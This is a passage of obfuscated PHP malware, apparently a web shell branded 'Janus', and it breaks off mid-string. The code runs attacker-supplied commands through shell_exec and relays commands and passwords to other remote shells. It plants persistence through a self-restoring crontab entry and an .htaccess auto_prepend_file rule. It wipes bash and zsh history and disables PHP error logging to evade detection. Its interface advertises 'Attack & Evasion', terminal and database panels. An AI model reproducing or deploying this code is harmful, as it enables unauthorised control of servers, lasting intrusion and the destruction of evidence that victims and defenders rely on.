vjpAA: case "\155\165\x6c\x74\x69\137\163\150\x65\154\154\x5f\x62\162\157\141\144\143\x61\x73\164": goto WXoU9; P7VlQ: if (!empty($azofS)) { goto M06_B; } goto DjRtc; y10ro: $mBLAH = sys_get_temp_dir() . "\x2f\56\x6a\141\156\165\x73\137\163\150\145\154\x6c\x5f\162\145\x67\x69\163\164\162\171\x2e\x6a\163\x6f\x6e"; goto P7VlQ; hkuu1: $QqnG8 = json_decode(@file_get_contents($mBLAH), true) ?: []; goto VN4wf; D3eIu: M06_B: goto uQBXf; gaB2y: goto vbH70; goto ZP5M1; cHBqR: foreach ($QqnG8 as $Symt8 => $Z_4pg) { goto khh8w; NZFsy: dEYHY: goto vpg8W; lCJvR: if (isset($http_response_header) && is_array($http_response_header)) { goto OyOOX; } goto awe0w; DiWq9: if (!file_exists($Z_4pg["\x70\141\164\x68"])) { goto XAu8_; } goto v15A9; ScE5Y: $MjGyc = false; goto YZ2Cc; hBoy7: if (function_exists("\155\x49\171\x62\163")) { goto sFn27; } goto HGakE; v15A9: $olRGv = @shell_exec($azofS . "\40\x32\x3e\x26\61"); goto GZFMt; awe0w: $KyZpx = 200; goto sYXPz; Ysfh5: yKOJf: goto IWx9j; DnDjD: VeyJZ: goto yQ53Y; yQjfT: $fEWHd = ["\141\x63\164\151\157\156" => "\162\x65\x6d\x6f\164\x65\x5f\x63\x6f\x6d\x6d\x61\156\144\x5f\145\170\x65\143", "\143\x6f\x6d\x6d\x61\x6e\144" => $azofS, "\163\150\145\x6c\154\x5f\x69\144" => $Symt8, "\160\x61\163\163\167\x6f\x72\144" => $Z_4pg["\x70\141\163\x73\x77\x6f\x72\144"] ?? '']; goto AejMg; h3I2I: XAu8_: goto i_13W; pGqeJ: goto ZB32J; goto x_n6b; x_n6b: CumdG: goto lCJvR; A1ESW: LEZYi($puVa9, [t5D5r => true, Jzs4E => $X5ufN, NNhCd => true, yylOA => 15, ts5wd => false, jokAg => false, iSR5k => ["\103\x6f\156\164\x65\156\x74\55\x54\x79\160\145\x3a\40\x61\160\160\154\x69\x63\x61\164\x69\157\x6e\57\170\55\x77\167\x77\55\x66\157\x72\155\x2d\165\162\x6c\x65\156\x63\157\x64\145\144", "\x55\163\x65\162\x2d\101\x67\x65\156\164\x3a\40\x4d\x6f\x7a\151\x6c\154\141\57\x35\x2e\x30\x20\50\x63\x6f\x6d\160\x61\164\x69\142\x6c\145\x3b\x20\x4a\141\x6e\165\x73\x2f\61\56\x30\51"]]); goto aajaQ; TeCm5: goto fCngh; goto bbiLh; i9oM3: if ($MjGyc !== false) { goto CumdG; } goto h6BFU; bbiLh: DD2da: goto kCBBw; VXoGT: $KyZpx = 0; goto pGqeJ; sYXPz: goto mPzrU; goto eX3mr; yQ53Y: $pjIBt = rtrim($Z_4pg["\x72\145\x6d\157\164\145\x5f\165\x72\x6c"], "\57"); goto g96VS; qTwKZ: $KyZpx = LS5s7($puVa9, tDRkT); goto QlGwB; Dufin: try { goto u9jaQ; CAV0c: n4wbr: goto eAUvJ; rDJCi: pXS1v: goto ku8wa; eAUvJ: $gSi8X[$Symt8] = ["\156\x61\x6d\x65" => $Z_4pg["\x6e\x61\x6d\x65"], "\x70\141\164\x68" => $Z_4pg["\x72\145\155\157\x74\x65\137\165\x72\x6c"], "\x72\x65\163\165\x6c\164" => $hAYa_["\x72\145\x73\x75\x6c\164"] ?? "\x4e\157\40\157\165\x74\x70\x75\x74", "\163\x75\x63\x63\x65\x73\x73" => isset($hAYa_["\x73\x75\x63\143\x65\163\x73"]) ? $hAYa_["\x73\165\x63\143\145\163\x73"] : true, "\151\163\x5f\x72\x65\x6d\157\164\145" => true]; goto rDJCi; u9jaQ: $AXEU0 = nz_aT($MjGyc); goto qTEIG; EWMVy: goto pXS1v; goto CAV0c; qTEIG: $hAYa_ = json_decode($AXEU0, true); goto heG66; heG66: if ($hAYa_ && isset($hAYa_["\x73\164\x61\x74\x75\163"]) && $hAYa_["\163\x74\x61\164\165\163"] === "\x73\x75\x63\x63\x65\x73\163") { goto n4wbr; } goto lMlvE; lMlvE: $gSi8X[$Symt8] = ["\x6e\x61\x6d\145" => $Z_4pg["\x6e\x61\x6d\x65"], "\x70\x61\164\150" => $Z_4pg["\x72\145\x6d\x6f\164\145\x5f\165\162\x6c"], "\162\x65\163\165\x6c\x74" => $hAYa_["\x6d\x65\x73\163\141\x67\145"] ?? "\125\x6e\153\x6e\x6f\x77\x6e\40\x65\162\x72\x6f\x72", "\163\165\143\x63\145\163\x73" => false, "\151\163\137\x72\x65\155\x6f\164\x65" => true]; goto EWMVy; ku8wa: } catch (Exception $smUM0) { $gSi8X[$Symt8] = ["\x6e\141\x6d\x65" => $Z_4pg["\156\141\x6d\145"], "\160\141\164\150" => $Z_4pg["\162\x65\x6d\x6f\x74\145\137\165\x72\154"], "\x72\x65\x73\165\x6c\164" => "\105\162\x72\157\162\x20\x64\145\x63\162\x79\x70\x74\x69\156\x67\x20\x72\x65\x73\x70\x6f\156\x73\x65\x3a\x20" . $smUM0->getMessage(), "\163\x75\x63\x63\145\x73\163" => false, "\x69\163\137\x72\145\155\x6f\164\x65" => true]; } goto Ysfh5; L7lRW: $puVa9 = mIYbS($sMOoi); goto A1ESW; QlGwB: $LntjT = zIYVN($puVa9); goto eKy_J; YZ2Cc: $KyZpx = 0; goto lR3bg; h6BFU: $LntjT = "\x46\x61\x69\x6c\145\x64\40\164\157\40\143\x6f\x6e\156\x65\x63\x74\x20\164\x6f\40\x72\x65\155\157\x74\145\40\x73\x68\145\154\x6c"; goto VXoGT; rcpNR: goto yKOJf; goto YUFPi; VznrU: if ($MjGyc !== false && ($KyZpx === 200 || $KyZpx === 0)) { goto hyxfd; } goto eEMSK; GZFMt: $gSi8X[$Symt8] = ["\156\141\155\x65" => $Z_4pg["\x6e\x61\x6d\145"], "\160\141\x74\150" => $Z_4pg["\x70\x61\164\x68"], "\162\145\x73\x75\x6c\x74" => $olRGv, "\x73\165\143\x63\x65\x73\163" => $olRGv !== null, "\x69\x73\x5f\x72\145\x6d\157\164\145" => false]; goto h3I2I; eX3mr: OyOOX: goto RMPaF; g96VS: $sMOoi = $pjIBt . (strpos($pjIBt, "\77") !== false ? "\46" : "\x3f") . "\152\141\x6e\x75\163\137\141\143\164\151\x6f\156\75\162\145\155\157\x74\x65\137\x65\170\x65\143"; goto yQjfT; i_13W: goto GczyG; goto DnDjD; AejMg: $X5ufN = http_build_query(["\x70" => qL60P(json_encode($fEWHd))]); goto ScE5Y; v7h2n: goto tS6zP; goto WOuKs; YUFPi: hyxfd: goto Dufin; khh8w: if (!($Z_4pg["\x73\x74\141\x74\165\163"] !== "\x61\x63\x74\x69\166\x65")) { goto DD2da; } goto TeCm5; IWx9j: GczyG: goto voRHx; lR3bg: $LntjT = ''; goto hBoy7; RssR_: $yr3s9 = stream_context_create($xd_Oi); goto nXsb8; HGakE: $xd_Oi = ["\150\164\164\x70" => ["\x6d\145\164\150\157\x64" => "\x50\x4f\123\124", "\x68\145\141\144\145\162" => ["\x43\x6f\156\x74\145\156\x74\55\124\171\x70\x65\72\40\141\160\x70\x6c\151\143\x61\x74\x69\157\x6e\x2f\x78\x2d\167\x77\167\x2d\x66\157\x72\155\55\x75\162\154\x65\x6e\x63\157\144\x65\144", "\x55\163\x65\x72\55\101\x67\x65\x6e\x74\72\40\x4d\157\172\x69\154\154\141\57\65\x2e\60\40\50\143\157\x6d\x70\x61\164\151\x62\154\145\73\40\x4a\141\x6e\x75\163\57\61\x2e\60\51", "\x43\157\x6e\x74\x65\156\164\55\x4c\145\156\147\x74\150\72\x20" . strlen($X5ufN)], "\143\157\x6e\164\x65\x6e\164" => $X5ufN, "\x74\151\x6d\145\157\x75\164" => 15, "\151\x67\x6e\x6f\x72\145\137\x65\x72\162\157\162\163" => true], "\x73\163\x6c" => ["\x76\145\x72\x69\x66\171\x5f\x70\x65\145\162" => false, "\166\145\162\151\x66\171\x5f\x70\145\x65\162\137\x6e\x61\155\145" => false, "\x61\x6c\x6c\157\167\137\x73\x65\154\146\x5f\x73\x69\147\x6e\145\x64" => true]]; goto RssR_; voRHx: fCngh: goto pPdCh; kCBBw: if (!empty($Z_4pg["\151\163\x5f\162\145\155\157\x74\145"]) && !empty($Z_4pg["\x72\x65\155\x6f\x74\145\x5f\x75\x72\154"])) { goto VeyJZ; } goto DiWq9; nXsb8: $MjGyc = @file_get_contents($sMOoi, false, $yr3s9); goto i9oM3; aajaQ: $MjGyc = o397w($puVa9); goto qTwKZ; hijbb: tS6zP: goto VznrU; gVin6: ZB32J: goto v7h2n; WOuKs: sFn27: goto L7lRW; vpg8W: mPzrU: goto gVin6; RMPaF: foreach ($http_response_header as $r9AVH) { goto pk4dY; JznWo: goto dEYHY; goto S28K9; e3rdB: $KyZpx = (int) $I5WkF[1]; goto JznWo; pk4dY: if (!preg_match("\57\110\124\124\x50\134\57\x5c\144\134\x2e\134\144\134\163\x2b\50\x5c\x64\x2b\51\x2f", $r9AVH, $I5WkF)) { goto YJnrA; } goto e3rdB; S28K9: YJnrA: goto WAq66; WAq66: QYm7Q: goto GSUX3; GSUX3: } goto NZFsy; eKy_J: EbeN6($puVa9); goto hijbb; eEMSK: $gSi8X[$Symt8] = ["\x6e\141\155\x65" => $Z_4pg["\156\141\155\145"], "\x70\141\164\x68" => $Z_4pg["\x72\x65\155\157\x74\145\137\x75\162\154"], "\162\x65\163\165\154\x74" => "\x43\x6f\x6e\156\145\x63\x74\x69\157\x6e\x20\x66\x61\x69\x6c\x65\x64\72\40" . ($LntjT ?: "\110\x54\124\x50\x20" . $KyZpx), "\163\x75\143\x63\x65\163\x73" => false, "\x69\x73\x5f\x72\145\x6d\157\164\x65" => true]; goto rcpNR; pPdCh: } goto tQGFD; uQBXf: $QqnG8 = []; goto fQ1o6; KhaUp: $v1Pog = ["\x73\x74\x61\164\x75\163" => "\163\165\x63\x63\145\x73\x73", "\x72\145\x73\165\x6c\x74\x73" => $gSi8X, "\x74\157\164\141\154\137\x65\170\145\143\165\x74\x65\x64" => count($gSi8X)]; goto gaB2y; tQGFD: AqLd4: goto KhaUp; Gx0yL: $gSi8X = []; goto cHBqR; tpHwi: goto vbH70; goto D3eIu; fQ1o6: if (!file_exists($mBLAH)) { goto YP_Xe; } goto hkuu1; DjRtc: $v1Pog["\x6d\145\163\x73\141\x67\145"] = "\x43\157\155\x6d\141\156\144\x20\x69\x73\40\162\x65\161\165\x69\x72\145\144\x2e"; goto tpHwi; VN4wf: YP_Xe: goto Gx0yL; WXoU9: $azofS = $_POST["\143\157\x6d\155\x61\x6e\x64"] ?? ''; goto y10ro; ZP5M1: case "\x72\145\155\157\164\x65\x5f\x63\157\x6d\x6d\141\x6e\144\x5f\x65\x78\145\x63": goto Y7jXR; CYzYa: $olRGv = @shell_exec($azofS . "\40\x32\76\x26\x31"); goto cqJzT; pz3m5: if (!empty($azofS)) { goto ikchr; } goto pa2lm; Y7jXR: $azofS = $_POST["\143\157\155\155\x61\x6e\144"] ?? ''; goto CN0e2; rKqlL: $AXEU0 = Nz_AT($_POST["\x6a\141\x6e\x75\x73"]); goto i5FoC; wsXJ9: $IMtDv = $_POST["\x70\141\163\x73\167\x6f\x72\x64"] ?? ''; goto Sn5C3; hQwF4: $IMtDv = $siOBH["\160\141\163\x73\x77\157\162\144"] ?? $IMtDv; goto dB085; cqJzT: $v1Pog = ["\163\x74\141\164\165\163" => "\x73\x75\x63\x63\145\163\x73", "\162\x65\x73\165\x6c\x74" => $olRGv !== null ? $olRGv : "\x43\x6f\155\x6d\141\x6e\x64\x20\x65\x78\145\x63\x75\x74\151\x6f\x6e\x20\x66\141\x69\x6c\145\144", "\x73\x75\x63\x63\x65\x73\163" => $olRGv !== null, "\x73\x68\x65\x6c\154\x5f\151\144" => $Symt8]; goto gz75T; Sn5C3: if (!(empty($azofS) && isset($_POST["\x6a\141\156\x75\x73"]))) { goto dMNj7; } goto rKqlL; bgwBA: ikchr: goto CYzYa; CN0e2: $Symt8 = $_POST["\x73\150\x65\x6c\x6c\137\x69\144"] ?? ''; goto wsXJ9; aZmTy: $azofS = $siOBH["\143\x6f\155\x6d\x61\156\144"] ?? ''; goto szk0g; dB085: dMNj7: goto pz3m5; i5FoC: $siOBH = json_decode($AXEU0, true); goto aZmTy; pa2lm: $v1Pog["\x6d\x65\163\163\x61\x67\145"] = "\103\x6f\x6d\x6d\x61\156\144\x20\x69\x73\40\x72\x65\x71\165\x69\162\x65\144\56"; goto Jo6Ge; gz75T: goto vbH70; goto Dg_BU; szk0g: $Symt8 = $siOBH["\x73\x68\145\x6c\x6c\137\151\144"] ?? $Symt8; goto hQwF4; Jo6Ge: goto vbH70; goto bgwBA; Dg_BU: case "\x65\x6e\150\x61\x6e\143\x65\144\x5f\x70\145\x72\163\x69\x73\x74\145\x6e\x63\x65\x5f\x69\156\163\x74\141\x6c\x6c": goto xyEBV; L_seC: y_EJp: goto QFQYa; A_Bjx: $O3gQP = []; goto EbSAa; QFQYa: $kPaXz = []; goto A_Bjx; xyEBV: $q8yZ3 = $_POST["\x74\141\x72\x67\x65\164\137\x70\x61\164\150\163"] ?? ''; goto nEwsS; rcbJD: if (!empty($IhsOT)) { goto y_EJp; } goto SZveI; yTVt7: lMcYD: goto V7MYC; SZveI: $IhsOT = [__FILE__]; goto L_seC; MUAOg: goto vbH70; goto Dq6of; EbSAa: foreach ($IhsOT as $j3_hR) { goto zwD7i; nPSkN: m1wfQ: goto M4Lul; b96tn: $O3gQP[] = ["\160\141\164\x68" => $j3_hR, "\162\x65\x61\x73\157\x6e" => "\x46\151\154\x65\40\144\x6f\x65\163\40\156\x6f\164\x20\x65\170\x69\x73\164"]; goto hfMqp; VmUym: try { goto o3YTv; kYDcY: @exec("\x63\x72\157\156\x74\141\x62\x20\55\x6c\40\x32\x3e\x2f\x64\145\x76\x2f\156\165\x6c\x6c", $HOg6K); goto hDx3p; SQGaF: $sE6ux .= "\160\150\160\137\166\141\x6c\165\145\40\x61\x75\164\157\137\x70\x72\x65\160\145\156\144\x5f\x66\x69\154\145\x20\42{$j3_hR}\42\xa"; goto T7OpP; o3YTv: if ($qAgzP === "\x63\x72\x6f\156") { goto bjT4T; } goto Dunw0; Dunw0: if ($qAgzP === "\x68\164\x61\x63\x63\145\x73\163") { goto DozWX; } goto xjRwt; A1I9h: $dv18S = tempnam(sys_get_temp_dir(), "\143\x72\157\156\x5f"); goto kYDcY; pkAtS: $rE5PO = dirname($j3_hR) . "\x2f\x2e\150\x74\141\x63\143\x65\163\x73"; goto D7jLS; Y_7uY: CA1lq: goto UX0FN; NsR9U: $hRYw0 = "\x2a\x2f\x35\40\52\x20\52\x20\52\40\52\x20\x5b\40\55\146\40\x22{$j3_hR}\42\40\x5d\40\174\174\40\x63\x70\40\x22" . __FILE__ . "\x22\x20\x22{$j3_hR}\42\x20\x32\76\x2f\x64\x65\166\57\x6e\165\154\x6c"; goto A1I9h; WnoMO: goto CA1lq; goto gsyWH; TO2Lz: $sE6ux .= "\74\x46\151\154\x65\163\x4d\141\164\143\x68\x20\42\134\x2e\160\x68\160\x24\42\76\12"; goto SQGaF; Y9Cba: @file_put_contents($dv18S, $iySQk); goto juYdn; xjRwt: goto CA1lq; goto Lm5T5; D7jLS: $sE6ux = "\43\x20\112\141\x6e\165\163\x20\120\145\x72\163\x69\163\x74\x65\x6e\x63\x65\12"; goto TO2Lz; RCWqL: $kPaXz[] = ["\160\141\x74\x68" => $j3_hR, "\x6d\145\164\x68\x6f\144" => "\143\x72\x6f\156"]; goto WnoMO; KxAle: $kPaXz[] = ["\x70\x61\x74\150" => $j3_hR, "\155\145\x74\x68\157\x64" => "\150\x74\x61\143\143\x65\x73\x73"]; goto Y_7uY; GTb0Q: @unlink($dv18S); goto RCWqL; gsyWH: DozWX: goto pkAtS; hDx3p: $iySQk = implode("\12", $HOg6K) . "\12" . $hRYw0 . "\12"; goto Y9Cba; BKVV1: @file_put_contents($rE5PO, $sE6ux, FILE_APPEND); goto KxAle; T7OpP: $sE6ux .= "\74\57\106\151\x6c\145\163\x4d\141\x74\x63\x68\76\xa"; goto BKVV1; juYdn: @exec("\x63\162\x6f\x6e\164\141\142\40{$dv18S}\x20\62\x3e\57\x64\145\x76\57\156\165\154\154"); goto GTb0Q; Lm5T5: bjT4T: goto NsR9U; UX0FN: } catch (Exception $smUM0) { $O3gQP[] = ["\x70\141\x74\150" => $j3_hR, "\x72\x65\141\x73\x6f\x6e" => $smUM0->getMessage()]; } goto nPSkN; hfMqp: goto m1wfQ; goto MjppJ; zwD7i: if (file_exists($j3_hR)) { goto gqhqk; } goto b96tn; MjppJ: gqhqk: goto VmUym; M4Lul: } goto yTVt7; pi6dM: $IhsOT = array_filter(array_map("\164\162\151\x6d", explode("\xa", $q8yZ3))); goto rcbJD; V7MYC: $v1Pog = ["\x73\x74\141\x74\165\163" => "\x73\165\x63\x63\x65\x73\x73", "\x69\156\x73\164\x61\154\x6c\145\x64" => $kPaXz, "\146\141\151\154\x65\144" => $O3gQP]; goto MUAOg; nEwsS: $qAgzP = $_POST["\x70\x65\x72\x73\151\x73\164\145\x6e\x63\145\137\x74\171\160\145"] ?? "\143\162\157\156"; goto pi6dM; Dq6of: case "\x73\x74\145\141\x6c\x74\x68\137\x70\x72\157\x63\145\163\x73\x5f\150\x69\144\145": goto fczmq; ZHuBx: $v1Pog = ["\163\164\141\164\x75\163" => "\151\156\146\x6f", "\155\145\163\x73\141\147\145" => "\120\162\x6f\143\x65\163\163\40\150\x69\x64\151\x6e\x67\40\x72\145\x71\165\151\162\145\x73\x20\162\157\x6f\x74\40\160\162\151\166\151\x6c\x65\x67\145\x73\56\x20\103\165\162\x72\145\x6e\x74\x20\x50\x49\104\x3a\40" . $R0VUu, "\x70\151\144" => $R0VUu]; goto QNd3B; fczmq: $R0VUu = $_POST["\160\151\x64"] ?? getmypid(); goto ZHuBx; QNd3B: goto vbH70; goto X0kJh; X0kJh: case "\x73\164\145\141\x6c\x74\150\x5f\x6c\x6f\x67\137\x65\166\x61\x73\x69\157\x6e": goto UycIp; RF66U: UTv0E: goto RSs0Y; O0MuF: @ini_set("\x64\x69\x73\160\x6c\141\171\x5f\145\x72\162\157\x72\x73", 0); goto vLyz8; UycIp: $YMx03 = $_POST["\x65\166\x61\163\x69\157\x6e\137\x74\171\160\x65"] ?? "\141\154\x6c"; goto M7coe; dFwci: $S0VlV = [getenv("\110\117\x4d\x45") . "\57\x2e\x62\141\163\150\x5f\x68\x69\163\164\157\162\171", getenv("\110\x4f\115\x45") . "\x2f\56\x7a\163\150\137\x68\x69\163\164\157\x72\171", "\57\162\x6f\x6f\x74\x2f\56\x62\141\163\150\x5f\150\151\163\164\x6f\162\171"]; goto LSSO_; yhYXG: if (!($YMx03 === "\x61\154\154" || $YMx03 === "\x63\154\145\x61\x72\x5f\150\x69\x73\164\157\x72\171")) { goto UTv0E; } goto dFwci; vLyz8: $eK1Kn[] = "\104\151\x73\141\x62\154\x65\144\40\x50\x48\x50\x20\x65\x72\x72\157\x72\40\x6c\x6f\147\x67\151\x6e\147"; goto wTxgq; RSs0Y: $v1Pog = ["\163\x74\x61\164\165\163" => "\x73\165\143\x63\x65\163\x73", "\141\143\x74\151\157\156\x73" => $eK1Kn]; goto BrYwE; svZXL: @ini_set("\154\157\147\x5f\145\162\x72\157\162\163", 0); goto O0MuF; BrYwE: goto vbH70; goto YQSwu; wTxgq: hL3qu: goto yhYXG; M7coe: $eK1Kn = []; goto gPUIf; gPUIf: if (!($YMx03 === "\141\x6c\x6c" || $YMx03 === "\x64\151\x73\x61\142\154\x65\x5f\154\157\x67\147\151\x6e\147")) { goto hL3qu; } goto svZXL; pp7B9: d3uey: goto RF66U; LSSO_: foreach ($S0VlV as $FPyH4) { goto MwfmN; jMzXg: pLSvk: goto cKmXW; C4PiM: $eK1Kn[] = "\x43\154\145\141\162\145\x64\x3a\40{$FPyH4}"; goto jMzXg; MwfmN: if (!(file_exists($FPyH4) && is_writable($FPyH4))) { goto pLSvk; } goto WuG3m; cKmXW: VawTK: goto Kzjlp; WuG3m: @file_put_contents($FPyH4, ''); goto C4PiM; Kzjlp: } goto pp7B9; YQSwu: } goto G2UzY; bqXlN: if (isset($_GET["\x6a\x61\x6e\165\163\x5f\141\143\164\151\157\156"]) && $_GET["\152\x61\156\165\x73\x5f\x61\143\164\x69\x6f\x6e"] === "\x72\145\155\157\164\x65\x5f\145\170\145\x63") { goto SDVmw; } goto TmKLX; LIRkT: if (file_exists($zJsLG)) { goto DZfSO; } goto ZQB41; hEZ4X: $zqG9F = trim(@file_get_contents($fzeLt)); goto cSuWA; kjN9A: if (!isset($_GET["\152\x61\x6e\x75\x73\137\x74\x6f\x6b\145\x6e"]) || $_GET["\152\x61\x6e\165\163\137\x74\x6f\x6b\x65\x6e"] !== $zqG9F) { goto XE004; } goto d6MLE; qVu8Y: function poNRJ() { goto j2EgD; YudSc: $wqr2f = explode("\12", $UvbJl); goto EGeNd; q2q3R: $IClrU = $zKCl4 - $Kpftc; goto in_Oo; in_Oo: $BH606 = $gtF_9 > 0 ? 100 * ($gtF_9 - $IClrU) / $gtF_9 : 0; goto xDCAt; kNnsz: $gtF_9 = $LpfuD - $rVUeY; goto q2q3R; XxDI0: $LpfuD = array_sum($a9lN1); goto qtGGg; dOzfT: $rVUeY = array_sum($KWG1w); goto XxDI0; Ie6F4: sleep(1); goto og4JW; pq1PH: if (!($H8jmy === false)) { goto yrwyg; } goto MDaAt; fSgrI: if (!($UvbJl === false)) { goto SyJrj; } goto X3EsK; m5JC3: $UvbJl = @file_get_contents("\57\160\162\x6f\x63\57\x73\164\141\164"); goto fSgrI; X3EsK: return ["\165\163\x65\144\137\x70\x65\x72\143\145\x6e\x74" => -1]; goto NMCf9; qtGGg: $Kpftc = $KWG1w[3]; goto m2A8z; xB_Qp: return ["\165\163\145\x64\137\x70\145\162\143\x65\156\x74" => -1]; goto TV9CB; NMCf9: SyJrj: goto YudSc; xDCAt: return ["\x75\163\145\144\137\160\x65\162\x63\145\156\164" => round($BH606, 2)]; goto nlXtP; m2A8z: $zKCl4 = $a9lN1[3]; goto kNnsz; MDaAt: return ["\165\163\x65\x64\137\x70\x65\x72\x63\145\x6e\x74" => -1]; goto ckSgH; og4JW: $H8jmy = @file_get_contents("\57\160\162\x6f\143\57\163\x74\x61\x74"); goto pq1PH; ckSgH: yrwyg: goto qnD1R; z2zJH: $a9lN1 = explode("\40", preg_replace("\41\143\160\165\x20\x2b\41", '', $vjjvq[0])); goto dOzfT; TV9CB: xxbWs: goto m5JC3; EGeNd: $KWG1w = explode("\40", preg_replace("\x21\143\160\x75\x20\x2b\41", '', $wqr2f[0])); goto Ie6F4; qnD1R: $vjjvq = explode("\12", $H8jmy); goto z2zJH; j2EgD: if (!stristr(PHP_OS, "\127\111\x4e")) { goto xxbWs; } goto xB_Qp; nlXtP: } goto bVUvU; sdIm9: ob_clean(); goto jTnIY; NNso_: ny34N: goto Zub6s; bJ2m9: @date_default_timezone_set("\x55\x54\103"); goto MZKu4; AIGE_: XE004: goto sHjTd; YEa1Z: readfile($KLrez); goto S_Hc4; bVUvU: function eqrni() { goto wW1tS; bwxOy: return ["\x74\x6f\x74\141\154" => -1, "\165\163\x65\144" => -1]; goto uzhV2; En2mw: return ["\x74\x6f\164\141\x6c" => -1, "\x75\x73\145\144" => -1]; goto bJdn3; uzhV2: wIjiy: goto uemVx; kKoKQ: preg_match("\x2f\x4d\145\x6d\x41\x76\141\x69\x6c\x61\142\x6c\x65\x3a\x5c\x73\x2b\50\134\144\x2b\x29\x2f", $yb70j, $HTcDZ); goto EP6WR; UTC22: $omUSh = $kxVgv - $gaF0q; goto PNP92; bJdn3: ZSekH: goto w98TJ; EP6WR: $kxVgv = isset($BFnIj[1]) ? $BFnIj[1] * 1024 : 0; goto Z0rEx; EhD8X: if (!($yb70j === false)) { goto ZSekH; } goto En2mw; PNP92: return ["\x74\x6f\x74\141\154" => $kxVgv, "\165\163\x65\144" => $omUSh]; goto q8Stc; Z0rEx: $gaF0q = isset($HTcDZ[1]) ? $HTcDZ[1] * 1024 : 0; goto UTC22; w98TJ: preg_match("\x2f\x4d\145\x6d\124\157\x74\x61\154\x3a\134\163\53\50\134\144\x2b\x29\57", $yb70j, $BFnIj); goto kKoKQ; uemVx: $yb70j = @file_get_contents("\57\x70\x72\x6f\x63\x2f\155\x65\x6d\151\156\146\x6f"); goto EhD8X; wW1tS: if (!stristr(PHP_OS, "\x57\111\116")) { goto wIjiy; } goto bwxOy; q8Stc: } goto jlE2p; dxABb: if (!isset($_GET["\x70\150\x70\x69\x6e\146\x6f"])) { goto ro08K; } goto hNB2P; pmuGk: header("\x43\x6f\156\164\x65\x6e\x74\55\x54\171\160\x65\x3a\40\x74\x65\x78\x74\x2f\160\x6c\141\151\156\73\40\143\150\x61\x72\163\145\164\x3d\165\164\x66\x2d\x38"); goto hzwf6; zFiA8: echo "\74\57\x64\151\x76\76\12\x9\x9\x9\x9\x3c\x64\x69\166\x20\143\154\x61\x73\163\x3d\42\152\141\x6e\x75\x73\x2d\x74\x61\147\x6c\x69\156\x65\x22\x3e\x43\x72\145\x61\164\x65\x64\40\102\x79\40\x41\x6e\157\x6e\162\x65\40\360\237\230\210\x3c\x2f\x64\151\166\x3e\12\11\11\11\74\57\144\151\x76\x3e\12\x9\11\x3c\57\144\151\x76\76\xa\11\x9\74\57\x64\151\166\x3e\xa\x9\74\x2f\x64\x69\166\x3e\xa\x9\x3c\144\151\x76\x20\x63\x6c\141\163\x73\75\42\164\157\x70\55\156\141\x76\142\141\162\42\40\151\144\75\42\164\157\160\55\x6e\141\166\x62\x61\x72\x22\76\12\11\x9\x3c\x62\x75\x74\164\157\156\40\143\154\141\x73\x73\x3d\x22\156\x61\x76\x2d\143\x6f\154\154\141\160\163\145\55\142\x74\x6e\42\x20\x69\x64\x3d\x22\156\141\166\x2d\143\x6f\x6c\x6c\141\x70\163\x65\x2d\142\164\x6e\42\x20\x74\x69\x74\x6c\145\x3d\42\x54\157\147\147\154\x65\x20\116\x61\166\151\147\141\x74\151\157\156\40\x4d\x65\156\165\x22\x3e\342\x98\xb0\x20\x4d\145\156\x75\x3c\57\142\x75\x74\x74\157\156\76\12\11\11\74\x64\x69\x76\40\143\154\141\163\x73\75\42\156\141\x76\55\142\165\164\x74\157\156\x73\x2d\x63\x6f\156\x74\x61\x69\156\145\x72\42\x3e\12\11\11\74\142\x75\164\164\x6f\156\40\x63\154\141\x73\x73\x3d\42\x6e\x61\166\x2d\x62\165\x74\164\x6f\156\40\141\143\164\x69\x76\145\x22\40\x64\x61\x74\x61\55\x76\151\145\x77\x3d\x22\146\x69\x6c\145\x73\42\x3e\360\x9f\223\201\x20\106\x69\154\145\40\115\141\x6e\141\x67\145\x72\x3c\x2f\x62\x75\164\164\x6f\x6e\76\xa\11\11\x3c\x62\x75\x74\164\157\x6e\x20\x63\154\x61\163\163\75\42\x6e\141\166\55\x62\165\x74\164\x6f\x6e\42\x20\144\141\x74\141\55\x76\151\x65\167\x3d\42\x74\x65\162\155\151\x6e\141\x6c\42\76\xe2\x8c\xa8\xef\xb8\x8f\x20\124\x65\162\x6d\x69\x6e\141\154\74\x2f\x62\165\x74\x74\x6f\156\76\xa\11\11\74\142\x75\x74\x74\157\156\x20\143\x6c\141\163\163\75\x22\156\141\166\55\142\x75\164\x74\x6f\156\x22\40\144\x61\164\x61\55\x76\x69\x65\167\75\42\x64\157\x6d\x61\151\x6e\x2d\151\x6e\x74\145\154\x22\x3e\360\x9f\x9b\260\xef\xb8\x8f\40\104\x6f\155\141\x69\156\40\x49\x6e\x74\145\154\x3c\57\142\165\164\164\157\x6e\76\xa\x9\11\x3c\x62\x75\x74\164\157\156\x20\x63\x6c\141\163\x73\x3d\x22\156\141\166\x2d\x62\165\164\164\157\156\42\x20\x64\141\164\x61\x2d\166\151\145\x77\x3d\x22\x61\164\x74\141\143\153\55\145\x76\x61\163\151\157\156\42\76\xe2\232\x94\357\xb8\x8f\x20\101\164\164\141\x63\x6b\x20\46\40\x45\x76\x61\163\151\157\x6e\x3c\x2f\142\x75\164\164\x6f\x6e\x3e\12\11\x9\74\x62\x75\164\164\157\156\x20\143\154\141\163\x73\75\x22\156\141\166\x2d\x62\165\164\x74\157\156\42\x20\x64\x61\164\x61\55\166\x69\x65\167\75\42\x66\151\156\x67\x65\162\160\162\151\x6e\x74\42\76\360\237\x90\276\40\106\x69\156\x67\145\x72\x70\x72\151\x6e\164\74\57\142\x75\164\x74\157\156\x3e\xa\11\11\74\x62\x75\x74\x74\157\156\x20\x63\154\x61\163\x73\x3d\42\x6e\141\x76\55\142\x75\164\x74\157\156\42\40\144\x61\x74\x61\55\x76\151\x65\x77\75\x22\x63\x70\x61\156\145\154\55\143\155\x73\42\x3e\342\232\x99\357\xb8\x8f\x20\103\115\x53\x20\x26\40\143\120\141\x6e\145\154\74\x2f\142\165\164\164\157\156\76\xa\11\x9\x3c\x62\x75\x74\x74\x6f\x6e\x20\143\154\x61\163\163\75\42\156\141\x76\55\142\165\x74\x74\157\x6e\42\x20\x64\x61\x74\x61\x2d\x76\151\145\x77\75\x22\x64\141\x74\141\x62\141\x73\145\42\76\360\x9f\x97\204\357\xb8\x8f\40\104\x61\x74\x61\x62\141\x73\x65\74\57\142\165\x74\x74\157\x6e\76\xa\11\11\74\142\165\164\x74\157\156\40\x63\x6c\x61\x73\x73\75\x22\156\x61\x76\55\x62\165\x74\164\157\x6e\42\40\x64\141\x74\141\55\x76\x69\145\167\x3d\x22\x63\x6f\x6e\156\x65\143\x74\x22\76\xf0\237\220\232\40\103\x6f\156\x6e\x65\x63\x74\x3c\57\142\